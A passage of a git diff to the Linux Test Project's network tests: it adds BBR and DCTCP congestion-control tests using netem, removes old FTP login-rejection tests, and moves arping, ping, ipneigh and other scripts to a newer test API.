--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic04
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic05 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic05
index 849b458..75a4d22 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic05
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic06 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic06
index 0805138..ef844c4 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic06
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic07 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic07
index 8f4d037..d4d0dc0 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic07
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/tcp_cc/Makefile b/testcases/network/tcp_cc/Makefile
new file mode 100644
index 0000000..a564eb4
--- /dev/null
+++ b/testcases/network/tcp_cc/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= *.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cc/bbr01.sh b/testcases/network/tcp_cc/bbr01.sh
new file mode 100755
index 0000000..a6592b3
--- /dev/null
+++ b/testcases/network/tcp_cc/bbr01.sh
@@ -0,0 +1,33 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="do_test"
+TST_CLEANUP="cleanup"
+TST_MIN_KVER="4.13"
+
+. tcp_cc_lib.sh
+
+cleanup()
+{
+	tc qdisc del dev $(tst_iface) root netem > /dev/null 2>&1
+
+	tcp_cc_cleanup
+}
+
+setup()
+{
+	tcp_cc_check_support bbr
+	tcp_cc_setup
+
+	tst_res TINFO "emulate congestion with packet loss 0.5%"
+	ROD tc qdisc add dev $(tst_iface) root netem loss 0.5%
+}
+
+do_test()
+{
+	tcp_cc_test01 bbr -50
+}
+
+tst_run
diff --git a/testcases/network/tcp_cc/bbr02.sh b/testcases/network/tcp_cc/bbr02.sh
new file mode 100755
index 0000000..b04c0c1
--- /dev/null
+++ b/testcases/network/tcp_cc/bbr02.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="do_test"
+TST_CLEANUP="cleanup"
+TST_MIN_KVER="4.13"
+TST_TEST_DATA="pfifo_fast codel pfifo fq hfsc hhf htb pie prio sfb sfq"
+
+. tcp_cc_lib.sh
+
+TST_CLEANUP="cleanup"
+
+cleanup()
+{
+	tc qdisc del dev $(tst_iface) root netem > /dev/null 2>&1
+
+	tcp_cc_cleanup
+}
+
+setup()
+{
+	tcp_cc_check_support bbr
+	tcp_cc_setup
+
+	local emu_opts="delay 5ms 1ms 20% loss 0.3% ecn corrupt \
+0.1% reorder 93% 50% limit 10000"
+
+	tst_res TINFO "emulate congestion with packet $emu_opts"
+	ROD tc qdisc add dev $(tst_iface) root netem $emu_opts
+}
+
+do_test()
+{
+	tcp_cc_set_qdisc $2 || return
+	tcp_cc_test01 bbr -50
+}
+
+tst_run
diff --git a/testcases/network/tcp_cc/dctcp01.sh b/testcases/network/tcp_cc/dctcp01.sh
new file mode 100755
index 0000000..14ee96d
--- /dev/null
+++ b/testcases/network/tcp_cc/dctcp01.sh
@@ -0,0 +1,39 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TST_SETUP="setup"
+TST_TESTFUNC="do_test"
+TST_CLEANUP="cleanup"
+TST_MIN_KVER="3.18"
+
+. tcp_cc_lib.sh
+
+cleanup()
+{
+	tc qdisc del dev $(tst_iface) root netem loss 0.5% ecn
+
+	tcp_cc_cleanup
+}
+
+setup()
+{
+	tcp_cc_check_support dctcp
+	tcp_cc_setup
+
+	tst_res TINFO "emulate congestion with packet loss 0.5% and ECN"
+	tc qdisc add dev $(tst_iface) root netem loss 0.5% ecn > /dev/null 2>&1
+
+	if [ $? -ne 0 ]; then
+		tst_brk TCONF "netem doesn't support ECN"
+	fi
+}
+
+do_test()
+{
+	tcp_cc_test01 dctcp 10
+}
+
+tst_run
diff --git a/testcases/network/tcp_cc/tcp_cc_lib.sh b/testcases/network/tcp_cc/tcp_cc_lib.sh
new file mode 100755
index 0000000..6d41bcf
--- /dev/null
+++ b/testcases/network/tcp_cc/tcp_cc_lib.sh
@@ -0,0 +1,110 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="sysctl tc"
+
+. tst_net.sh
+
+def_alg="cubic"
+prev_qlen=
+prev_queue=
+prev_alg=
+
+set_cong_alg()
+{
+	local alg=$1
+	tst_res TINFO "setting $alg"
+
+	tst_set_sysctl net.ipv4.tcp_congestion_control $alg safe
+}
+
+tcp_cc_cleanup()
+{
+	local rmt_dev="dev $(tst_iface rhost)"
+
+	[ "$prev_cong_ctl" ] && \
+		tst_set_sysctl net.ipv4.tcp_congestion_control $prev_alg
+
+	[ "$prev_qlen" ] && \
+		tst_rhost_run -c "ip li set txqueuelen $prev_qlen $rmt_dev"
+
+	[ "$prev_queue" ] && \
+		tst_rhost_run -c "tc qdisc replace $rmt_dev root $prev_queue"
+}
+
+tcp_cc_check_support()
+{
+	local proc_cc="/proc/sys/net/ipv4/tcp_available_congestion_control"
+	local alg="$1"
+
+	modprobe tcp_$alg > /dev/null 2>&1
+	grep -q $alg $proc_cc || tst_brk TCONF "Local host doesn't support $alg"
+
+	if [ -z "$TST_USE_NETNS" ]; then
+		tst_rhost_run -c "modprobe tcp_$alg" > /dev/null 2>&1
+		tst_rhost_run -c "grep -q $alg $proc_cc" || \
+			tst_brk TCONF "Remote host doesn't support $alg"
+	fi
+}
+
+tcp_cc_setup()
+{
+	prev_alg="$(sysctl -n net.ipv4.tcp_congestion_control)"
+}
+
+tcp_cc_set_qdisc()
+{
+	local qdisc="$1"
+	local qlen="${2:-1000}"
+	local rmt_dev="$(tst_iface rhost)"
+
+	tst_res TINFO "set qdisc on $(tst_iface rhost) to $qdisc len $qlen"
+
+	[ -z "$prev_qlen" ] && \
+		prev_qlen=$(tst_rhost_run -s -c \
+			    "cat /sys/class/net/$rmt_dev/tx_queue_len")
+	tst_rhost_run -s -c "ip link set txqueuelen $qlen dev $rmt_dev"
+
+	[ -z "$prev_queue" ] && \
+		prev_queue=$(tst_rhost_run -s -c \
+			     "tc qdisc show dev $rmt_dev | head -1" | \
+			     cut -f2 -d' ')
+	[ "$qdisc" = "$prev_queue" ] && return 0
+
+	tst_rhost_run -c "tc qdisc replace dev $rmt_dev root $qdisc" >/dev/null
+	if [ $? -ne 0 ]; then
+		tst_res TCONF "$qdisc qdisc not supported"
+		return 1
+	fi
+
+	return 0
+}
+
+tcp_cc_test01()
+{
+	local alg=$1
+	local threshold=${2:-10}
+
+	tst_res TINFO "compare '$def_alg' and '$alg' congestion alg. results"
+
+	set_cong_alg "$def_alg"
+
+	tst_netload -H $(tst_ipaddr rhost) -A 15000
+	local res0="$(cat tst_netload.res)"
+
+	set_cong_alg "$alg"
+
+	tst_netload -H $(tst_ipaddr rhost) -A 15000
+	local res1="$(cat tst_netload.res)"
+
+	local per=$(( $res0 * 100 / $res1 - 100 ))
+
+	if [ "$per" -lt "$threshold" ]; then
+		tst_res TFAIL "$alg performance $per %"
+	else
+		tst_res TPASS "$alg performance $per %"
+	fi
+}
diff --git a/testcases/network/tcp_cmds/arping/arping01.sh b/testcases/network/tcp_cmds/arping/arping01.sh
index 66f161b..774dbc1 100755
--- a/testcases/network/tcp_cmds/arping/arping01.sh
+++ b/testcases/network/tcp_cmds/arping/arping01.sh
@@ -18,10 +18,11 @@
 
 TCID=arping01
 TST_TOTAL=1
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_require_root
-tst_check_cmds arping
+tst_test_cmds arping
 
 timeout="10"
 ip_addr=$(tst_ipaddr rhost)
diff --git a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
index 627274c..e664391 100755
--- a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
+++ b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
@@ -18,10 +18,11 @@
 
 TCID=clockdiff01
 TST_TOTAL=1
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_require_root
-tst_check_cmds cut clockdiff
+tst_test_cmds cut clockdiff
 
 tst_resm TINFO "check time delta for $(tst_ipaddr)"
 
diff --git a/testcases/network/tcp_cmds/ftp/ftp02 b/testcases/network/tcp_cmds/ftp/ftp02
deleted file mode 100755
index 1316109..0000000
--- a/testcases/network/tcp_cmds/ftp/ftp02
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ftp
-#
-#  PURPOSE: Test to see if ftp rejects a user with an invalid password
-#
-#  HISTORY:
-#     03/03  Jerone Young (jeroney@us.ibm.com)
-#
-#  NOTE:
-#       This version is intended for EAL certification, it will need modification
-#       to conform with LTP standards in the offical LTP tree.
-#
-# DESCRIPTION:
-#	Create Test User
-#	Make sure test user cannont log in with invalid password
-#	Cleanup Test User from system
-#	Exit with exit code of script called upon
-#
-
-setup()
-{
-	export TEST_USER="ftpuser2"
-}
-
-do_test()
-{
-	CONNECTION_FAILED="Connection failed; test FAILED"
-	EXPECTED="Login failed as expected; test PASSED"
-	UNEXPECTED="Login succeeded unexpectedly; test FAILED"
-
-	set PASSWD "invaild_password?!!"
-	set timeout 90
-
-	expect -c "
-		#ftp to host
-		spawn ftp $RHOST
-		sleep 1
-		# Check if connection succeeded.
-		expect {
-			\"Name\" {}
-			timeout {send_user \"\n$CONNECTION_FAILED\n\";exit 1}
-		}
-
-		send \"$RUSER\r\"
-		sleep 1
-		expect -re \"Password:\"
-		send \"$PASSWD\r\"
-		sleep 1
-
-		expect {
-			# 530 - Login failed
-			\"530\" {send_user \"$EXPECTED\n\";exit 0}
-			# 230 - Login successful
-			\"230\" {send_user \"$UNEXPECTED\n\"; exit 1}
-		}
-
-		expect \"ftp>\"
-		send \"exit\r\"
-	"
-}
-
-TCID="ftp02"
-TST_TOTAL=1
-
-. test.sh
-. ftp_setup
-
-setup
-do_setup
-TST_CLEANUP=do_cleanup
-
-do_test
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ftp/ftp03 b/testcases/network/tcp_cmds/ftp/ftp03
deleted file mode 100755
index e2925e8..0000000
--- a/testcases/network/tcp_cmds/ftp/ftp03
+++ /dev/null
@@ -1,106 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2003, 2005
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ftp
-#
-#  PURPOSE: Ftp into a remote hosts successfully as a vaild user (other than root)
-#
-#  HISTORY:
-#     03/03  Jerone Young (jeroney@us.ibm.com)
-#     04/03  Dustin Kirkland (k1rkland@us.ibm.com)
-#     09/05  Kris Wilson (krisw@us.ibm.com) Check if vsftpd.conf was found.
-#
-#  NOTE:
-#	This version is intended for EAL certification, it will need modification
-#	to conform with LTP standards in the offical LTP tree.
-
-setup()
-{
-	export TEST_USER="ftpuser3"
-}
-
-do_test()
-{
-	FAIL_530="==> TEST : FAIL (ftp rejected login attempt)"
-	PASS_230="==> TEST : PASS (ftp allowed login attempt)"
-	FAIL_230="==> TEST : FAIL (ftp allowed login attempt)"
-	PASS_500="==> TEST : PASS (ftp rejected login attempt)"
-	PASS_530="==> TEST : PASS (ftp rejected login attempt)"
-
-	echo "TEST: Ftp into a remote host as a local user (other than root),"
-	echo "LOCAL_ENABLE=$LOCAL_ENABLE"
-
-	if [ "$LOCAL_ENABLE" = "YES" ]; then
-	expect -c "
-		spawn ftp $RHOST
-		sleep 1
-		expect -re \": \"
-		send \"$TEST_USER\r\"
-		expect -re \"Password:\"
-		send \"$TEST_USER_PASSWD\r\"
-		expect {
-			# 530 - Login failed
-			\"530\" {send_user \"$FAIL_530\n\";exit 1}
-			# 230 - Login successful
-			\"230\" {send_user \"$PASS_230\n\";exit 0}
-		}
-		expect \"ftp> \"
-		send \"quit\r\"
-	"
-	else
-	expect -c "
-		spawn ftp $RHOST
-		sleep 1
-		expect -re \": \"
-		send \"$TEST_USER\r\"
-		expect -re \"Password:\"
-		send \"$TEST_USER_PASSWD\r\"
-		expect {
-			# 230 - Login successful
-			\"230\" {send_user \"$FAIL_230\n\";exit 1}
-			# 500 - Login failed
-			\"500\" {send_user \"$PASS_500\n\";exit 0}
-			# 530 - Login failed
-			\"530\" {send_user \"$PASS_530\n\";exit 0}
-		}
-		expect \"ftp> \"
-		send \"quit\r\"
-	"
-	fi
-}
-
-TCID="ftp03"
-TST_TOTAL=1
-
-. test.sh
-. ftp_setup
-
-setup
-do_setup
-TST_CLEANUP=do_cleanup
-
-do_test
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ftp/ftp04 b/testcases/network/tcp_cmds/ftp/ftp04
deleted file mode 100755
index 1327b8e..0000000
--- a/testcases/network/tcp_cmds/ftp/ftp04
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2003, 2005
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ftp
-#
-#  PURPOSE: Tests to see if ftp rejects a 'root' login attempt.
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#   03/04/03 Jerone Young (jeroney@us.ibm.com)
-#   09/21/05 Kris Wilson (krisw@us.ibm.com) Check if vsftpd is on system.
-
-setup()
-{
-	TEST_USER=root
-
-	tvar=${MACHTYPE%-*}
-	tvar=${tvar#*-}
-
-	if [ $tvar = "redhat" -o $tvar = "redhat-linux" ]; then
-		ftpusers="/etc/vsftpd/ftpusers"
-	else
-		ftpusers="/etc/ftpusers"
-	fi
-	echo "Verifying test user $TEST_USER is in ${ftpusers} database..."
-	FTPUSERS=$(awk "/$TEST_USER/" ${ftpusers})
-	if [ -z "$FTPUSERS" ] ; then
-		tst_brkm TBROK "$TEST_USER not found in $ftpusers exiting 0 ..."
-	fi
-}
-
-do_test()
-{
-	FAIL_230="==> TEST : FAIL (ftp allowed login attempt)"
-	PASS_530="==> TEST : PASS (ftp rejected login attempt)"
-	echo "Ftp should reject $TEST_USER from loging in successfully"
-	expect -c "
-		spawn ftp $RHOST
-		sleep 1
-		expect -re \": \"
-		send \"$TEST_USER\r\"
-		expect -re \"Password:\"
-		send \"$TEST_USER_PASSWD\r\"
-		expect {
-			# 230 - Login successful
-			\"230\" {send_user \"$FAIL_230\n\";exit 1}
-			# 530 - Login failed
-			\"530\" {send_user \"$PASS_530\n\";exit 0}
-		}
-		expect \"ftp> \"
-		send \"quit\r\"
-	"
-}
-
-TCID="ftp04"
-TST_TOTAL=1
-
-. test.sh
-. ftp_setup
-
-setup
-do_setup
-
-do_test
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ftp/ftp05 b/testcases/network/tcp_cmds/ftp/ftp05
deleted file mode 100755
index e9e4272..0000000
--- a/testcases/network/tcp_cmds/ftp/ftp05
+++ /dev/null
@@ -1,110 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2003, 2005
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ftp
-#
-#  PURPOSE: Ftp into a remote hosts successfully as a vaild user (other than root)
-#
-#  HISTORY:
-#     03/03  Jerone Young (jeroney@us.ibm.com)
-#     04/03  Dustin Kirkland (k1rkland@us.ibm.com)
-#     09/05  Kris Wilson (krisw@us.ibm.com) Check if vsftpd is on system.
-#
-#  NOTE:
-#	This version is intended for EAL certification, it will need modification
-#	to conform with LTP standards in the offical LTP tree.
-#
-# DESCRIPTION:
-#	The anonymous user will ftp in and create a directory in his/her
-#	home directory on the remote host.
-#
-
-setup()
-{
-	TEST_USER="anonymous"
-}
-
-do_test()
-{
-	FAIL_530="==> TEST : FAIL (ftp rejected login attempt)"
-	PASS_230="==> TEST : PASS (ftp allowed login attempt)"
-	FAIL_230="==> TEST : FAIL (ftp allowed login attempt)"
-	PASS_500="==> TEST : PASS (ftp rejected login attempt)"
-	PASS_530="==> TEST : PASS (ftp rejected login attempt)"
-
-	echo "Ftp into a remote host as anonymous user;"
-	echo "ANONYMOUS_ENABLE=$ANONYMOUS_ENABLE"
-
-	if [ "$ANONYMOUS_ENABLE" = "YES" ]; then
-	expect -c "
-		spawn ftp $RHOST
-		sleep 1
-		expect -re \": \"
-		send \"$TEST_USER\r\"
-		expect -re \"Password:\"
-		send \"$TEST_USER_PASSWD\r\"
-		expect {
-			# 530 - Login failed
-			\"530\" {send_user \"$FAIL_530\n\";exit 1}
-			# 230 - Login successful
-			\"230\" {send_user \"$PASS_230\n\";exit 0}
-		}
-		expect \"ftp> \"
-		send \"quit\r\"
-	"
-	else
-	expect -c "
-		spawn ftp $RHOST
-		sleep 1
-		expect -re \": \"
-		send \"$TEST_USER\r\"
-		expect -re \"Password:\"
-		send \"$TEST_USER_PASSWD\r\"
-		expect {
-			# 230 - Login successful
-			\"230\" {send_user \"$FAIL_230\n\";exit 1}
-			# 500 - Login failed
-			\"500\" {send_user \"$PASS_500\n\";exit 0}
-			# 530 - Login failed
-			\"530\" {send_user \"$PASS_530\n\";exit 0}
-		}
-		expect \"ftp> \"
-		send \"quit\r\"
-	"
-	fi
-}
-
-TCID="ftp05"
-TST_TOTAL=1
-
-. test.sh
-. ftp_setup
-
-setup
-do_setup
-
-do_test
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ftp/ftp_setup b/testcases/network/tcp_cmds/ftp/ftp_setup
index f148281..4233d52 100644
--- a/testcases/network/tcp_cmds/ftp/ftp_setup
+++ b/testcases/network/tcp_cmds/ftp/ftp_setup
@@ -26,7 +26,7 @@
 	export TEST_USER_ENCRYPTED_PASSWD="42VmxaOByKwlA"
 	export TEST_USER_HOMEDIR="/home/$TEST_USER"
 
-	tst_check_cmds awk expect ftp useradd userdel vsftpd
+	tst_test_cmds awk expect ftp useradd userdel vsftpd
 
 	for vsftp_confdir in /etc/vsftpd /etc; do
 		if [ -r "$vsftp_confdir/vsftpd.conf" ]; then
diff --git a/testcases/network/tcp_cmds/host/host01 b/testcases/network/tcp_cmds/host/host01
index fb59e35..1308870 100755
--- a/testcases/network/tcp_cmds/host/host01
+++ b/testcases/network/tcp_cmds/host/host01
@@ -60,8 +60,8 @@
     while [ $TST_COUNT -lt $NUMLOOPS ]; do
 
         if rhost_addr=$(host $RHOST); then
-            rhost_addr=$(echo "$rhost_addr" | awk -F, '{print $NF}') 2>&1 >/dev/null
-            if ! host $rhost_addr 2>&1 >/dev/null; then
+            rhost_addr=$(echo "$rhost_addr" | awk -F, '{print $NF}') >/dev/null 2>&1
+            if ! host $rhost_addr >/dev/null 2>&1; then
                 end_testcase "reverse lookup with host failed"
             fi
 
diff --git a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
index 99bab16..e22e17a 100755
--- a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
+++ b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2018 SUSE Linux GmbH
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2000
 # This program is free software; you can redistribute it and/or
@@ -16,38 +17,65 @@
 #
 # Test basic functionality of 'arp' and 'ip neigh'.
 
-TCID=ipneigh01
 NUMLOOPS=${NUMLOOPS:-50}
-TST_TOTAL=2
-. test_net.sh
+TST_TESTFUNC=do_test
+TST_SETUP=do_setup
+TST_OPTS="c:"
+TST_PARSE_ARGS="parse_args"
+TST_USAGE="usage"
+TST_NEEDS_ROOT=1
+. tst_net.sh
 
 do_setup()
 {
-	tst_require_root
-	tst_check_cmds ip arp grep ping$TST_IPV6
+	case $CMD in
+	ip)
+		SHOW_CMD="ip neigh show"
+		DEL_CMD="ip neigh del $(tst_ipaddr rhost) dev $(tst_iface)"
+		;;
+	arp)
+		if [ -n "$TST_IPV6" ]; then
+			tst_brk TCONF "'arp' doesn't support IPv6"
+		fi
+		SHOW_CMD="arp -a"
+		DEL_CMD="arp -d $(tst_ipaddr rhost)"
+		;;
+	*)
+		tst_brk TBROK "unknown or missing command, use -c [ arp | ip ]"
+		;;
+	esac
+
+	tst_test_cmds $CMD ping$TST_IPV6
+}
+
+usage()
+{
+	echo "-c [ arp | ip ] Test command"
+}
+
+parse_args()
+{
+	case $1 in
+	c) CMD="$2" ;;
+	esac
 }
 
 do_test()
 {
-	local arp_show_cmd="$1"
-	local arp_del_cmd="$2"
+	local entry_name="ARP"
+	[ "$TST_IPV6" ] && entry_name="NDISC"
 
-	local entry_name
-	[ "$TST_IPV6" ] && entry_name="NDISC" || entry_name="ARP"
-
-	tst_resm TINFO "Stress auto-creation of $entry_name cache entry"
-	tst_resm TINFO "by pinging '$rhost' and deleting entry again"
-	tst_resm TINFO "with '$arp_del_cmd'"
+	tst_res TINFO "stress auto-creation $entry_name cache entry deleted with '$CMD' $NUMLOOPS times"
 
 	for i in $(seq 1 $NUMLOOPS); do
 
-		ping$TST_IPV6 -q -c1 $rhost > /dev/null
+		ping$TST_IPV6 -q -c1 $(tst_ipaddr rhost) > /dev/null || \
+			tst_brk TFAIL "cannot ping $(tst_ipaddr rhost)"
 
 		local k
 		local ret=1
-		# wait for arp entry at least 3 seconds
 		for k in $(seq 1 30); do
-			$arp_show_cmd | grep -q $rhost
+			$SHOW_CMD | grep -q $(tst_ipaddr rhost)
 			if [ $? -eq 0 ]; then
 				ret=0
 				break;
@@ -56,28 +84,16 @@
 		done
 
 		[ "$ret" -ne 0 ] && \
-			tst_brkm TFAIL "$entry_name entry '$rhost' not listed"
+			tst_brk TFAIL "$entry_name entry '$(tst_ipaddr rhost)' not listed"
 
-		$arp_del_cmd
+		$DEL_CMD || tst_brk TFAIL "fail to delete entry"
 
-		$arp_show_cmd | grep -q "${rhost}.*$(tst_hwaddr rhost)" && \
-			tst_brkm TFAIL "'$arp_del_cmd' failed, entry has " \
-				       "$(tst_hwaddr rhost)' $i/$NUMLOOPS"
+		$SHOW_CMD | grep -q "$(tst_ipaddr rhost).*$(tst_hwaddr rhost)" && \
+			tst_brk TFAIL "'$DEL_CMD' failed, entry has " \
+				"$(tst_hwaddr rhost)' $i/$NUMLOOPS"
 	done
 
-	tst_resm TPASS "verified adding/removing of $entry_name cache entry"
+	tst_res TPASS "verified adding/removing $entry_name cache entry"
 }
 
-do_setup
-
-rhost=$(tst_ipaddr rhost)
-
-if [ -z "$TST_IPV6" ]; then
-	do_test "arp -a" "arp -d $rhost"
-else
-	tst_resm TCONF "'arp cmd doesn't support IPv6, skipping test-case"
-fi
-
-do_test "ip neigh show" "ip neigh del $rhost dev $(tst_iface)"
-
-tst_exit
+tst_run
diff --git a/testcases/network/tcp_cmds/ping/ping01.sh b/testcases/network/tcp_cmds/ping/ping01.sh
index 73f1180..e127481 100755
--- a/testcases/network/tcp_cmds/ping/ping01.sh
+++ b/testcases/network/tcp_cmds/ping/ping01.sh
@@ -28,7 +28,8 @@
 TST_TOTAL=10
 TCID="ping01"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
@@ -37,7 +38,7 @@
 
 	PING_CMD=ping${TST_IPV6}
 
-	tst_check_cmds $PING_CMD
+	tst_test_cmds $PING_CMD
 }
 
 do_test()
diff --git a/testcases/network/tcp_cmds/ping/ping02.sh b/testcases/network/tcp_cmds/ping/ping02.sh
index 6a9878e..04069f2 100755
--- a/testcases/network/tcp_cmds/ping/ping02.sh
+++ b/testcases/network/tcp_cmds/ping/ping02.sh
@@ -17,7 +17,8 @@
 TST_TOTAL=10
 TCID="ping02"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
@@ -26,7 +27,7 @@
 
 	PING=ping${TST_IPV6}
 
-	tst_check_cmds $PING
+	tst_test_cmds $PING
 }
 
 do_test()
diff --git a/testcases/network/tcp_cmds/rcp/rcp01 b/testcases/network/tcp_cmds/rcp/rcp01
index 1f54471..4eaeca1 100755
--- a/testcases/network/tcp_cmds/rcp/rcp01
+++ b/testcases/network/tcp_cmds/rcp/rcp01
@@ -55,7 +55,7 @@
 
     exists awk rcp rsh sum
 
-    if ! rsh -n -l root $RHOST mkdir -p $TCtmp 2>&1 1>/dev/null; then
